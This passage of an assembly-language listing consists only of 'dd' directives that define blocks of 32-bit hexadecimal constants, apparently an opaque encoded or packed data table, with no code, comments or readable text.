		dd 0BD43408Dh, 6D5A3912h, 0A2EF6C11h, 4B86D1F8h, 0A2D8622Bh
		dd 4F7CCA40h, 0F28B1A7Bh, 0FED94B2Eh, 0E3EE1C50h, 0C250856Eh
		dd 8CC283E6h, 26788F46h, 440B95F9h, 909CD33Bh, 2BCC2DBEh
		dd 0BD1C5D3Bh, 4EEF202Eh, 0B7675E41h, 62DA3788h, 0DC7F57EBh
		dd 90462840h, 38D875F4h, 6BFCF32Fh, 0B98BE851h,	8ED9DD52h
		dd 37F133EAh, 72451F59h, 1CD6B5CBh, 2607529Dh, 0C4A72D7Bh
		dd 9F3A5C2Ch, 2BB12254h, 0BD83418Dh, 6DDA3B12h,	0A1EF6811h
		dd 4986D9F8h, 0A6D8122Bh, 477CAA40h, 828B5A7Bh,	1ED8CB2Eh
		dd 23EF1C51h, 42528569h, 8CDE83E5h, 26608F44h, 441B95FDh
		dd 90FCD333h, 2B8C2DAEh, 0BC9C5D1Bh, 4FEF206Eh,	0A9675FC1h
		dd 7EDA3688h, 0C47F55EBh, 80462C40h, 18D84DF4h,	2BFD032Fh
		dd 398B8851h, 8ED99D53h, 37F0B3ECh, 72441F55h, 1CD4B5D3h
		dd 267B52EDh, 0C4BF2D1Bh, 9F2A5DECh, 2BD122D4h,	0BDC3428Dh
		dd 6C5A3D12h, 0A0EF6411h, 4786C1F8h, 9AD8022Bh,	5F7C8A40h
		dd 518A9A7Bh, 62531D7Dh, 50671075h, 0D7B38D82h,	9CDA7F88h
		dd 0D0ED49CBh, 0B4E26185h, 5692BE91h, 0A7AEDB1Fh, 0BC2C64CBh
		dd 0F3DCAAAEh, 0A9125F7Ah, 8A533677h, 0E96FBB2Ah, 0B0465FBFh
		dd 101B1EAAh, 0FBFC1527h, 45FBBDAFh, 0DB194D54h, 5FA3D667h
		dd 62461959h, 0E0AEA024h, 271542FDh, 94BF68B0h,	9E979344h
		dd 0A2A87854h, 0B40B2B4Eh, 79252F13h, 0B7EF9C69h, 18DD1171h
		dd 98D05AE8h, 42827A41h, 0B28A260Fh, 5AFFBFD1h,	0A3BC4AB9h
		dd 4A26DC68h, 73C682EDh, 26ECF755h, 641356E5h, 6E2CD225h
		dd 2AF05C5Bh, 0E65F9E4Bh, 9D6EC667h, 0AD6759C1h, 478D62DBh
		dd 0FC02D21Dh, 2C22B40h, 30D85DF4h, 5402DCDAh, 0C5F75DAFh
		dd 71E70D55h, 38F04C1Fh, 724693C9h, 1AF8DDA3h, 338C42CCh
		dd 0D48FD0AFh, 0C9C620E1h, 4319542Bh, 0B243458Dh, 905AB49Fh
		dd 4EBF83EEh, 4386A043h, 1BC8E6A8h, 0D086CB83h,	0C48A1A7Bh
		dd 0F3DA2110h, 0E3129CD2h, 0E2A0D568h, 0D5D283A7h, 0ABDE0607h
		dd 0BB1C99F4h, 0D291DB6Eh, 0C29A7C61h, 0B31C0C30h, 0FBFFE7ADh
		dd 0CD0F0E82h, 9ACA3B6Ch, 0FC7F1DF0h, 38104119h, 0B8D80557h
		dd 0E6EED877h, 467468D2h, 0ECB28DA9h, 0DF1F3306h, 72414EB6h
		dd 3CB6ECF2h, 0D96753DBh, 0C47B54EEh, 0C5A4023Ch, 0E86CCCDDh
		dd 0B3857DE5h, 1FCFCC02h, 66FF78EDh, 0C26370ADh, 1B88C2C7h
		dd 0D82DDA05h, 4276DA6Eh, 0E359AD3Fh, 246010AEh, 42AEC0D0h
		dd 342B68F9h, 36006B1Eh, 1EC9ADEh, 267383EFh, 25DCD62Bh
		dd 0B64182Ch, 73EF2362h, 0F39EAE58h, 0BE9F8D87h, 0E47F2952h
		dd 39B18540h, 0DD6CA2A6h, 9CF213D8h, 51DBFA12h,	9EDA791Fh
		dd 0DF06C61Bh, 72404E9Ah, 47F87130h, 0E536BDA4h, 947AA5CEh
		dd 98D236BFh, 3EAE30D5h, 0A2C3BAF9h, 6EBE757Ah,	0AC9A8B01h
		dd 7FD71B10h, 3829B2Bh,	4BA68F83h, 42CC1767h, 41260EA6h
		dd 16EFE023h, 52ACD667h, 0C2A83BAh, 0CE5B839Eh,	43ABC1B6h
		dd 9764BB52h, 38B33C1Fh, 0A21CA183h, 2903ABF5h,	46EE0C82h
		dd 19D2D50Bh, 0E422C0BDh, 0FDB908ABh, 0E8DB55E4h, 0EB0D438Fh
		dd 3CBFD746h, 9EDA5B08h, 0C8F01B0Eh, 4FC046BEh,	0F2245ABh
		dd 0CDB0243Dh, 0C09644CAh, 7A725EACh, 728ED8A9h, 43135206h
		dd 6A532712h, 0AAE92084h, 5FBD69E8h, 4898F55Eh,	0DC5F1505h
		dd 9DCC1C7Fh, 26B0480Fh, 5301BD56h, 12CB956Ah, 9F330AEEh
		dd 0AD208FA8h, 45EB10B1h, 9757C302h, 2B842F84h,	0B2161E9Dh
		dd 7B9BE26Ah, 0D1981FFBh, 0BEA7B981h, 947F4DEBh, 9DC6F23Ch
		dd 0D1AE9F0Bh, 0DEDF58AEh, 38638B52h, 0AEE09D1Ah, 0C8D498Ch
		dd 0F14B6CBDh, 1FD0A5BEh, 0A71F711Dh, 0C39F3CFAh, 1BAEDD7Ch
		dd 3C902184h, 3A18168Dh, 3C9974FEh, 466EA998h, 7B861068h
		dd 39BDB478h, 8AF0CA42h, 8D76E40Bh, 3D62447Fh, 0A99FF406h
		dd 4C9856Ah, 0A456756Bh, 27393430h, 0BDFB1014h,	9ECC2F04h
		dd 0C59CEF89h, 0B11C1454h, 806AE4A7h, 67565E35h, 64B22463h
		dd 746F470Fh, 0EFB9F52Ah, 50D05EACh, 7BFD972Dh,	4675B5BDh
		dd 4EEA84A5h, 0BE566DBAh, 9A8E4555h, 1F26FFCEh,	0E527912Ch
		dd 9382A52Eh, 0F4BC347Fh, 0C4B34C55h, 0B38303BAh, 925BE89Bh
		dd 5610B7EEh, 0B9B71D8Dh, 0C31CC4C0h, 15D52ABCh, 8F8D307Ah
		dd 7684376Ah, 23170C52h, 42BD7A0Dh, 9DD6D0EDh, 0E1208F1Eh
		dd 0EB1B69D8h, 9596D1E1h, 7D7069A3h, 0B08C5873h, 88104A6Eh
		dd 31345BC1h, 5EDA777Dh, 8583002Ch, 6A460C40h, 0E49E00F1h
		dd 43F5E971h, 398877AAh, 0C7007508h, 0EF85B3FCh, 2FA091EEh
		dd 0FAADE050h, 2031023Dh, 0C1152D71h, 9EE3E104h, 0AD12AFD4h
		dd 4C3CB576h, 595E58EDh, 0C18EAFD1h, 746E0DBDh,	0BF52822Bh
		dd 9279E0BCh, 7AD8663Eh, 3ED45B2Ah, 63EBE33Fh, 5494D665h
		dd 0E63A83A5h, 25C08717h, 6629591h, 1CD8BA17h, 441CD09Bh
		dd 0B01C4E7Dh, 7810DAC6h, 0AD8F0841h, 6BDA3DC1h, 9C02C02Bh
		dd 0E0D30F40h, 1227C07Ch, 17B81E25h, 0D180C204h, 8ED4A2A3h
		dd 7E5BDBADh, 0AAC618B1h, 42C63CC0h, 0C3D604BEh, 9EFC7F6Bh
		dd 8E1F36A4h, 2CF126BCh, 0DAFF0E04h, 949FA216h,	0BFEA2841h
		dd 8AEE09F8h, 0ADDBB2D4h, 173B42A8h, 2ECDB37Bh,	5ED7C8C7h
		dd 0C9E959DEh, 0BE3B0860h, 9F30EBA3h, 0D9B88F50h, 10FB956Ah
		dd 9275D80Bh, 0AFCC1DCEh, 0B89C4A26h, 3C66F57Bh, 50633E3Dh
		dd 3C8AC0CDh, 4B8029E3h, 0C8150440h, 58DBD51Ch,	0F6112A7Ah
		dd 1DFCB797h, 0C635F559h, 0F73AB3F0h, 0FB1BDBEDh, 13C43486h
		dd 7553514Ch, 0CB12A08Dh, 60BEFAEFh, 0AF11DA2Bh, 4FBDB428h
		dd 0CED921EDh, 5110A2EDh, 8F3BB2F8h, 0B2245DD5h, 6AF95C33h
		dd 0CD77E486h, 0F7D61BACh, 1CE4E0DEh, 47E40C63h, 70CD7CC2h
		dd 0D82C0D03h, 299B6A96h, 1F1CBA5Bh, 0D332D77Bh, 0B7760044h
		dd 7AA7B1C6h, 5CA1E541h, 59AE2C70h, 0B80AE96Eh,	53AD7871h
		dd 0E69BD5C4h, 361E3A7Bh, 5C073D88h, 0CB5D8E0Eh, 486B630Eh
		dd 8D391CCFh, 7FE6BD1Eh, 0AF975115h, 3C3FA838h,	0D8F15C58h
		dd 0C2B87FA8h, 3DD68ED0h, 7336A0F7h, 0B7FF3242h, 61C3B4F8h
		dd 679EBA7Ah, 0A3F12A5Fh, 874F3C75h, 15D6C9D2h,	6692100Dh
		dd 7CD8A6Bh, 0A5E6D3D1h, 40C088C4h, 0CE29D0E4h,	8216200Eh
		dd 24F9D4BDh, 0B6D44E73h, 8417BA6Eh, 115669B4h,	6EEBD163h
		dd 48F646AAh, 0C9137F03h, 8837EE6Ch, 41E2A94Bh,	0C9CB857Bh
		dd 0DE2575EFh, 0F381B334h, 37BF7E29h, 940CB883h, 630243E8h
		dd 8668186Fh, 4783F8FCh, 48513493h, 39312B04h, 7230154Fh
		dd 0D49A2B42h, 8FC6F510h, 0D525C12Ah, 0BF470E2Ah, 12B69992h
		dd 526F1062h, 0EA6DDF15h, 3DB1EF7Ah, 33628BB5h,	0A0C888CDh
		dd 702FE8A1h, 0A75F3B8Bh, 0E4116B5Eh, 0C5F9D9AEh, 0CABC2C43h
		dd 130D7D2Ch, 7A2A9406h, 0AC2F9101h, 7C82335Ch,	89EA2EBh
		dd 0AE35D312h, 0B98E3886h
		dd 7EA4D0E0h, 67EE76FBh, 7A0EE6F7h, 1F553B93h, 0A74CC4BDh
		dd 3C28EC40h, 0AC1FD553h, 0A773B094h, 3C585155h, 3719FAFEh
		dd 2F6DB598h, 0DAD67AECh, 0A5CF2FA1h, 55E9E60Ah, 0E158BC79h
		dd 0CE9BCB22h, 0E6D41C22h, 721ED56Eh, 0D068397h, 0E396844Ch
		dd 7F396520h, 9A509584h, 0B20C2B8Eh, 1011A0A6h,	42B86803h
		dd 738F66B3h, 2FDAD0CCh, 0AB81982Eh, 15B94BA4h,	331B4C8Bh
		dd 0A7A76803h, 0B07B8DE9h, 0CB6612F3h, 3BE9E25Ah, 147A199Ah
		dd 0EF99BB4Ah, 0AFD812D2h, 966C4CB7h, 0CB5841E5h, 23CCD883h
		dd 5E535D06h, 825B130Fh, 3DBDFC64h, 616BD98Dh, 0ABDE626Ch
		dd 309E4F99h, 0D5B997Ch, 9A040C9h, 1CCBEF49h, 869B5AE1h
		dd 0D51CDCD6h, 0A22D4BDBh, 295DC69Ch, 58C8DB0h,	0D8171A61h
		dd 3E1C3B1Bh, 51E34DD0h, 0C58F6633h, 6BDAD7CDh,	0A289922Eh
		dd 1BB1814Ah, 0C8DA79C5h, 6AFEB69Eh, 0C6706D92h, 0D109542Eh
		dd 0F45C69F4h, 2180908Ch, 429DEF9Dh, 1758C58Dh,	0A987FAA0h
		dd 0E8C4F72Ch, 27C4AD58h, 0B5C55965h, 0F81DF212h, 0E8FE96E7h
		dd 85C6520Fh, 6357E22Bh, 0C29BAB53h, 0B4F2586h,	45D694FAh
		dd 0AA1ADF14h, 1444D67Ch, 552DE4Eh, 368B98F9h, 0BE49517h
		dd 0F9038323h, 75C9C3A6h, 0AA15511Bh, 0AA90CEEAh, 8298A745h
		dd 0FF2DFF80h, 0BB80901Bh, 90032785h, 458013DFh, 1AA550D4h
		dd 1DFB7797h, 0C8F275FFh, 0F489B2ACh, 8D9BE254h, 261472Ch
		dd 2ADF3812h, 0C3F907F3h, 18ED2CECh, 0ACD42722h, 0BE28DD45h
		dd 0F7573B99h, 2BEE6F11h, 0D95B48FAh, 938BC171h, 4B8409BAh
		dd 82F8CC2Ah, 7B054B48h, 0D7A44CB9h, 400C85D7h,	493C8F00h
		dd 2B6A78C7h, 6E87D0B6h, 1DCD02Bh, 77C1DA03h, 934F0197h
		dd 1E0733DAh, 0E2676F03h, 524564Dh, 0C4E179Dh, 0E5CDBBB1h
		dd 8C9ECE8Ch, 5CFC119Eh, 51DF5A25h, 8ED21867h, 51106725h
		dd 0B2561B58h, 9641E69Bh, 733C1111h, 2F36F4B2h,	9CDBA1A8h
		dd 0AA370707h, 0B5FCDF8Dh, 78DB1713h, 4263E01Fh, 7A7C35E4h
		dd 5B5BDA82h, 0D2E46A6Fh, 5D6D2199h, 0A1BC23B2h, 2A14E336h
		dd 0BF930B5Bh, 5A97230h, 0D4EB6805h, 1493CD8Ah,	43CC066h
		dd 0B7815C88h, 9C636D5Bh, 35EDD3BFh, 9E8078C6h,	75232B7Ch
		dd 2CF21D2Ch, 4CC7FF04h, 0D1BE9EDDh, 0A73FA0F2h, 0B2181E33h
		dd 2CD115A0h, 341FB6A0h, 783392CDh, 1F1C1A20h, 0A5F34CCDh
		dd 7ABE1886h, 3D40A9E5h, 0EE11A854h, 3E3F2492h,	7FA31493h
		dd 0FDF032Ch, 0A08F56Dh, 255D69Fh, 2E951FF6h, 4AE79643h
		dd 71870E29h, 0E24219F7h, 3BBE8C48h, 5E98B41h, 299164CBh
		dd 0F7B7E082h, 0C8978B1Fh, 77452A86h, 7359EA43h, 0B76D3F53h
		dd 0EE2868BEh, 0F2DFDB72h, 0A3FA73E8h, 3CDFC304h, 31AE96DDh
		dd 7B5FB0F3h, 32583E34h, 1759D5B3h, 351F36A2h, 7A65A142h
		dd 2697B8ABh, 360F295Fh, 0E00A576Eh, 844DAA11h,	24A854E0h
		dd 0B6D6ACB2h, 0C9D489F0h, 7CFA7321h, 877ACE5h,	0EAE446D2h
		dd 0ACD01006h, 171A599Ch, 175ABD6Fh, 9D7CFD8Bh,	0BF7F2B8Bh
		dd 8F5A0C42h, 0EBB6136Ch, 0F6DDB93Eh, 7D2FABC3h, 777748E6h
		dd 72D69A63h, 0AF26FE56h, 691FE277h, 0CA104002h, 0B1480DE8h
		dd 0C7E41552h, 0C50AAD84h, 0C31A1848h, 0BB9ACB3Ah, 2901CD12h
		dd 0D21AC6CDh, 4A15F1CAh, 0EA454757h, 3ECB2419h, 0FB771086h
		dd 65145AE2h, 6B3DD6ECh, 8F0525B3h, 0A56A2951h,	4C11BD13h
		dd 0B087E6ACh, 875E8974h, 7AE1559Bh, 0A912E606h, 7863C863h
		dd 52D69D0Bh, 3C4F4B40h, 0CAB04F40h, 0D4442695h, 0A6747500h
		dd 0CE875583h, 4EB4519Dh, 6ACEDA13h, 55423C26h,	612B6D2Ah
		dd 0CA225F02h, 15C60BE8h, 2EEFCB04h, 0F4966DDh,	0CC7B774Ah
		dd 2A8B44D4h, 9AF8B5F7h, 0A047CD5Ah, 5953D22h, 2C39E157h
		dd 960AC58Bh, 8C046D3h,	5CF1AD4Bh, 7F7513ECh, 1B676636h
		dd 81253E57h, 0C72A7AB8h, 3587BB1Eh, 31CB3037h,	676C5422h
		dd 3295E494h, 0DEC62A0Bh, 0AFB7E9CEh, 0CBF5AB10h, 789E968Ch
		dd 33EADBA9h, 7A6D7988h, 0C9425489h, 751B9A0Eh,	62A728DAh
		dd 2428BAEFh, 27EBE33Fh, 0B3F42608h, 8648830Bh,	4311D1D2h
		dd 852ABD9Fh, 0BFAC259Bh, 0AE08CB23h, 1A172EB3h, 10624420h
		dd 509D5C40h, 0F53FFCEBh, 130FC585h, 97E64542h,	0ABDDF649h
		dd 6B990DE9h, 3DC631CDh, 87DA7BC0h, 0CAEE06BAh,	7BB2FFEEh
		dd 2A14193h, 171494BFh,	2196D339h, 175FF4Bh, 58F832B1h
		dd 0C30AEBF6h, 14A810A8h, 29C6A394h, 721BCE7Fh,	0E7EF89Dh
		dd 0BBF0E8F9h, 650EB4CBh, 56B2FDACh, 37301EB0h,	98A6AA74h
		dd 0E55CED00h, 0F1320B5Ah, 0D33C7303h, 3976C419h, 0C5E78037h
		dd 23BCDF7h, 62E2CD50h,	0BBEE150Eh, 0A412B8B0h,	3A54B388h
		dd 0EF671085h, 34EBC15Ah, 5F4EADB4h, 1D8FE13Bh,	7DB7C042h
		dd 0FA11F943h, 467FE974h, 0A654C9Dh, 3E955246h,	6EC5B2Ch
		dd 1D617152h, 7C33ABFEh, 0AF83B7CBh, 7FA1290h, 0D4004671h
		dd 0BA15968h, 0C8CE6EE3h, 47699A22h, 9DB5FA13h,	17334590h
		dd 34FD36D2h, 232B3B02h, 0B24556E0h, 76F6D1D1h,	0D0C195F5h
		dd 37D4E51Ah, 424F8867h, 10D89D0Bh, 0E2DC37B1h,	3B9324CDh
		dd 0BB1AB8A8h, 0B724845Dh, 527F11F6h, 0BBDF539Ch, 9EBFB831h
		dd 0A19ADA46h, 821EFEB8h, 20DD0611h, 487C027Fh,	0F3AD0BE9h
		dd 1D969418h, 471AB704h, 3C4DD72Fh, 0ABF0684Fh,	0C24F046Ah
		dd 782AD3CCh, 296B3AE6h, 2EA4109Ch, 0DD1D1266h,	0CD6A3336h
		dd 6E42D184h, 29CEBCC9h, 7A4B69DCh, 35EF6A84h, 6D76BB8h
		dd 9A6E905Ah, 0DCA57A74h, 0CB0D2B4Fh, 2B655798h, 30EC5DF6h
		dd 9369CDA7h, 4A872A35h, 3C954752h, 0A156401Ah,	3F75EF02h
		dd 900E2E09h, 20F39704h, 0B7CBA6B9h, 78DB9552h,	0BB187C4Fh
		dd 4A819295h, 3D2CC367h, 0AC81478Bh, 0A16E5965h, 1B01BD27h
		dd 0A3C467C3h, 0A0A182C4h, 8147CDD3h, 72FECB64h, 0F35C374Ch
		dd 7229BDA6h, 0C8AEE2FDh, 0A6056DA4h, 507434E3h, 717D6639h
		dd 0A9A08900h, 0E51B032Fh, 14714CD9h, 856A9D17h, 26A75593h
		dd 62C14A0Dh, 19E14D0Bh, 0F7F3E2C1h, 4391E636h,	0CE97B46Ch
		dd 92A6B3CAh, 32AC97E9h, 8F8B4D09h, 2492AF9Ch, 343EA6B2h
		dd 844407B8h, 7D110538h, 0B383FCECh, 9249FCE5h,	6C96E806h
		dd 0F518AA7Ch, 376CC9Eh, 1CBBEA46h, 358FA267h, 0FB50CA56h
		dd 47B2CF32h, 0F35E6AEDh, 6536D518h, 0CD6895E4h, 0E18A1038h
		dd 0A7B22152h, 7544F761h, 0B152B6B2h, 0F1A254EEh, 766D7DD3h
		dd 45FFE9C5h, 0CBE0A162h, 270604D4h, 4B9D22F7h,	9D5AE04Dh
		dd 0C25D9ACAh, 0D8B2FD23h, 999E1780h, 0AB92D3DCh, 0A47ACFFCh
		dd 0D7CE4416h, 40F6DAAEh, 9BD30646h, 2110770h, 8C973C0Fh
		dd 53289AC1h, 67E9FC8Fh, 94C2A6E7h, 96D73931h, 0AE631C4Bh
		dd 3E8768F2h, 8968BFA1h, 0EC823CCDh, 799914EFh,	4AE5A143h
		dd 32B0CAECh, 481D318h,	0B5BEF4E4h, 0A6817A4Fh,	0CF6E738Fh
		dd 83E3DDF8h, 74FFCCD3h, 844DEE87h, 74970470h, 22058B67h
		dd 7B6F5A91h, 98D531A5h, 8F1559A0h, 6B1BE8ACh, 7D0B0599h
		dd 91D3D402h, 1B01E5DEh, 321513EEh, 85F6CDE8h, 0B6D873B6h
		dd 0DC297A45h, 8A0EF8E2h, 835B468Ah, 3AE442DCh,	0D3FBF687h
		dd 42595A75h, 0A7F091BFh, 9854B69Bh, 4DF237A9h,	0AAE4B19Fh
		dd 7E5EFE0Dh, 0DA30C24Bh, 5817F413h, 62053CFBh,	963030AFh
		dd 0E48E2DC6h, 305D0EF7h, 0ED9A24B8h, 25C42B2h,	925EE67Fh
		dd 0B716159Fh, 0DF7D54DAh
		dd 5D9C5C08h, 0E618CC26h, 0C0659AE7h, 0E13AB5D5h, 0ED1F4C3Dh
		dd 0FD28E2C7h, 140F4E40h, 0DD0DD5D4h, 2553DA40h, 62DB90E5h
		dd 1C1CC8BFh, 0FCDAA18Bh, 0AE1526F2h, 2AE4102Eh, 0D912C0A7h
		dd 0D19DC6E7h, 0CB236D77h, 530A05BBh, 715DD4CFh, 1A585D37h
		dd 7ECA6B25h, 4EE58143h, 3EC2028Ch, 0EB8623D4h,	0D17E33EDh
		dd 0EA00BD45h, 44C2E0DEh, 0E762BFEBh, 76ADF7D9h, 31A569D5h
		dd 0B7526A15h, 0AB25CAA4h, 0DDE07BF4h, 67EE4DDBh, 0AE98DA49h
		dd 742E052Bh, 7943B321h, 196F2185h, 0C080C349h,	859393FFh
		dd 0B963DA3Fh, 669B42B0h, 0F2007A15h, 0B5064F79h, 0AD5E30C9h
		dd 9F68C791h, 0F6EC600Eh, 0D46172F7h, 68202EEAh, 389EF4Bh
		dd 82479422h, 0A801068Eh, 0BDDD8A3Dh, 0DE46937Bh, 0B19FBC35h
		dd 8AD5B1FBh, 0D3BDB7D8h, 50093AC5h, 91FAB74Bh,	0B8055EB3h
		dd 183C7D99h, 0C33F74EAh, 0AE28A31Ah, 0DF23E865h, 1BC1D582h
		dd 1A6ECD59h, 0AD8090Eh, 0C5B331FDh, 54C02A8Dh,	80A7107Fh
		dd 157E2819h, 3FF4DD2Ch, 85F6DAECh, 0F2269E5Ch,	0F12A7AAAh
		dd 48E53BF9h, 0A43B3347h, 0BCEA154Bh, 194D246h,	1A614D6Eh
		dd 0DD36D84Eh, 1EE66ED2h, 9EC594E6h, 0D4F1B22Ch, 0BDD7D302h
		dd 0DB353268h, 16CB62F9h, 165E500Bh, 0D7CFBB4Fh, 968C732Dh
		dd 98AE8000h, 1A071500h, 0B3475A5h, 0A539BDF5h,	30528016h
		dd 28600B67h, 2B7C2F7h,	0C59BE166h, 0ED0111EEh,	7F07B6DDh
		dd 0EA84B31Ah, 745743D4h, 82D45AF0h, 28829357h,	2BCF0190h
		dd 9C7F2EFEh, 0E8CABD59h, 2C87ABF9h, 9EEBF02Ah,	0DA0F1043h
		dd 0F494DA8Ch, 3CFFB8BFh, 31F848EAh, 0B6D9A101h, 0D57FCFCCh
		dd 0A0545101h, 17ACAAADh, 7D4B013Fh, 0BBC627A1h, 66B7BEBDh
		dd 5A943526h, 5B45FB35h, 4625808Bh, 0E2B62CDBh,	0EF9964D1h
		dd 0E4C60309h, 2805579Dh, 98E52101h, 0FAF10307h, 0A1B64F6h
		dd 0A3ED15EFh, 6EB54A46h, 0DFF61525h, 0AEB72B0Ah, 43C82E01h
		dd 0B078586Eh, 318A2017h, 0F3DF01BCh, 0A365F210h, 830AEA58h
		dd 0DA2AAD26h, 0DE0F0C6Ah, 0FC613F61h, 8D9503Dh, 0FFFBC996h
		dd 0BC3A7CACh, 9E8885A0h, 0C0077C4Bh, 59E619EFh, 8928D837h
		dd 0B001C43Bh, 4E16180h, 0D609ADD6h, 970F712Dh,	4D908200h
		dd 6E11A41Eh, 0C8BD51ACh, 0B8CB640h, 8F0757E9h,	3AD36C23h
		dd 926C68C7h, 9F3F96F1h, 3CC092F1h, 7850FF26h, 3927C7CFh
		dd 0DAC99B85h, 31CFE479h, 0E0017468h, 0B7432265h, 0AB0FF9F5h
		dd 0E6CC79C0h, 0D3A7B9F5h, 0C4A98DD9h, 0D0867CAEh, 72A0E788h
		dd 25D4DC06h, 0B426DC42h, 0DB2FF983h, 0CA27BF1Bh, 5B871EFAh
		dd 0F6B47D8Dh, 0A67EFD5Fh, 0ED512838h, 955D7CC8h, 515485A4h
		dd 0E5AB8DB0h, 0F91D8E7Dh, 6DB72428h, 70536CA5h, 0B1C271C4h
		dd 87074626h, 0F8B34C33h, 0F16C56CDh, 3CA7752Dh, 91D592DFh
		dd 951833BCh, 0AA730E5Fh, 499734D5h, 0DFFBA280h, 6765DB3Bh
		dd 82A1A52Dh, 1FFF3639h, 0B3E6B3AEh, 3E6CFC90h,	56909ED5h
		dd 7C375F1Eh, 0A718DC44h, 15DD2574h, 0A816E01Bh, 0BC3AF5FEh
		dd 719CC0C2h, 0EDBA079Bh, 859C9DDh, 73B2391Bh, 0F1F3D791h
		dd 1704D097h, 8BC7BA86h, 0A35A2298h, 9A7F73DEh,	0B4749ABEh
		dd 0E5349756h, 0F53652B1h, 41B6BC27h, 69F6F734h, 2115A11Fh
		dd 9BEA315Bh, 0DEF5D941h, 0C1034024h, 76A8118Bh, 0E6C39BCBh
		dd 2D03F5ECh, 7AAEAF31h, 52E762D6h, 655F05F8h, 0E259F4CDh
		dd 0FBF5002Ah, 74EF297Dh, 0FBEAF3A9h, 5AE71A9Bh, 57FF9582h
		dd 36B39758h, 2F87C782h, 76E8CF20h, 0D74B878Ah,	15A8F4D1h
		dd 8D5DC934h, 35121874h, 17CBB591h, 0DC6A8DA3h,	9E5CECB9h
		dd 99EE98Bh, 9B02EC9Dh,	0B248F84Eh, 0B2BCA580h,	0B94AC46h
		dd 5109290Dh, 41BB2808h, 4151CED1h, 0A383E45Dh,	665ECD4Dh
		dd 2992D0C7h, 0E77B9989h, 6F12F32Bh, 0FF34DD8Ch, 33C4E2Dh
		dd 0EB1753Ch, 14E281A0h, 0E87CF611h, 9EA13E72h,	221CC8EBh
		dd 9D81EC58h, 0CB75AF92h, 0B370D162h, 0BCF81775h, 8E57513Ah
		dd 76E39DC8h, 9823F746h, 8F522D82h, 5D13080Eh, 622494DFh
		dd 2A043762h, 9D88539h,	4E89078Bh, 66EBC914h, 0ECCDD299h
		dd 112437Bh, 1C6CE316h,	41BF3798h, 1BE6728Dh, 0EBD24C43h
		dd 0C607946Dh, 0CB5F477Eh, 2D27CDE4h, 4E364965h, 7B8DF665h
		dd 1F14DAFDh, 93BCD75Ch, 891FFB18h, 82B795DCh, 0EB83F24Fh
		dd 7C5A185Bh, 0E7394B99h, 729125C8h, 0F6ED1A9Eh, 6E660C65h
		dd 3CFE588Fh, 0E24A1CD1h, 72381692h, 86092BC0h,	0DD65C905h
		dd 0C83EFDB3h, 94409C4h, 0C6DF10BCh, 6749F82Eh,	3CC8170Bh
		dd 587A3817h, 0FFDC534Ah, 0B3A076DCh, 672DF2ECh, 0E220E864h
		dd 7E2AD992h, 2E28BFBBh, 0E172E6C0h, 7059B8EAh,	2167B78Bh
		dd 2DA1D3EEh, 95455D49h, 7931571Ah, 7C7CD649h, 84C21DD0h
		dd 16103718h, 6AEB401Fh, 0EEB19C38h, 8769B67Ch,	0FD6FB92Fh
		dd 1241B858h, 7E9AF41Ch, 0A6899646h, 0DDAEE3AEh, 0DB21AD57h
		dd 88DBA9Dh, 0E78C44CEh, 0BDC1976Eh, 0E81CD6E7h, 85CF58ACh
		dd 9A816E39h, 0C234EE8Bh, 9C2DC582h, 0BE44F309h, 0E3ED8D7Ch
		dd 73BD774Ch, 0F4898865h, 93AE5A02h, 0F52CB2BAh, 0E941CF9h
		dd 0E7A5A880h, 0BC004B0Eh, 0F2BC4D8Dh, 0A50C4E0Eh, 0C8B9A802h
		dd 2BD32820h, 885B68B1h, 0EC84CD30h, 0F685C40Ah, 55EF7CEh
		dd 0A964F89h, 291955Bh,	0FE00F00Eh, 76895273h, 0D3001C95h
		dd 8EA37911h, 410966D2h, 178EC4B1h, 8D994EEBh, 0CA8358D1h
		dd 61FFA26Eh, 5378FCBFh, 1128FB0h, 0CFBBB900h, 0FBC34A8Eh
		dd 1D7944D1h, 24430CE7h, 0EFB46C5Fh, 2BF0A899h,	9CFF0322h
		dd 0A3FB64E8h, 0DDE371C1h, 61C0A881h, 365F5461h, 562EF63h
		dd 0C34BA6A0h, 0F031D236h, 6A2342EEh, 60DB0391h, 0EFE1CD04h
		dd 6196ECBFh, 77B19E3Eh, 639F3748h, 661A0BFCh, 0D7E33443h
		dd 0E7FD3BC1h, 0CA6714A0h, 71F58B75h, 2BC604C5h, 3A708385h
		dd 2D91E1B0h, 0BCCC4832h, 3A2549A3h, 81F8E62Ch,	0E1C45A0h
		dd 0D3D01EE7h, 9D2BC182h, 0F3590B5Ah, 20F10194h, 0FE522A19h
		dd 22C73DBEh, 4F64E205h, 9241F050h, 7CE41954h, 0ECA8A7E9h
		dd 28AC1808h, 814FECF9h, 0C5CE61C9h, 0EF7777F9h, 36C64ED4h
		dd 0DFD0653Ah, 6588DDFCh, 7AE51129h, 94A572C4h,	0B8964338h
		dd 0CE096409h, 81D60C39h, 0E38AEDAEh, 5B62E2Ch,	4DF8165Dh
		dd 7BDF975Bh, 0F6C7E03Ah, 0C80B1A1Eh, 3DAD2C02h, 236AA0EDh
		dd 5FC0092Fh, 9ABE7381h, 0C3539D63h, 4148C6E8h,	0F036A6B1h
		dd 7446E9F4h, 7FEEB263h, 6DA66861h, 3FDC79EFh, 515BB1ABh
		dd 4D301D4Ah, 22C8B06Dh, 1FEA9432h, 0D798D05Fh,	74972F19h
		dd 0CD67044Ah, 7B8F0CB7h, 327044Bh, 0CD5E40E9h,	4283132Eh
		dd 0C94E50ADh, 0A7ECE47Ah, 2A0768Bh, 0F6A7F37Ah, 337757D2h
		dd 433C93D7h, 0A2CB7101h, 0D43A5E0Dh, 7D6D9E78h, 0E196E943h
		dd 0CCAA712h, 50BF3A6Bh, 15DA57AFh, 0E73E0493h,	0C375FA67h
		dd 0D5D7CEE8h, 0E8FAC30h, 73B1280Ch, 41C63DE1h,	82628B65h
		dd 83655A9Ch, 72C4B2B9h, 7FDA71C0h, 5873A886h, 0BEBDA303h
		dd 0D086EF90h, 0F2EE65CDh, 86605FF0h, 84C18D1Ah, 1D12B2Eh
		dd 189A0D1Dh, 0FAF63DD5h, 0A0E2992Eh, 0BA93A86h, 0A6BE49F1h
		dd 557325CFh, 5C893EACh, 330464Dh, 8EA175E9h, 0A338140Ah
		dd 3B518325h, 9839C08h,	9ACD35Eh, 5D6F3CC1h, 10577D80h
		dd 666BB802h, 0B76BAA0Bh, 6A81AAEFh, 0E65B20Ch,	2C2EE5C2h
		dd 83B7F27Ch, 8AA4618Ch
		dd 0E89652FAh, 72223636h, 3A327FFFh, 0E2550F89h, 2B0C58B4h
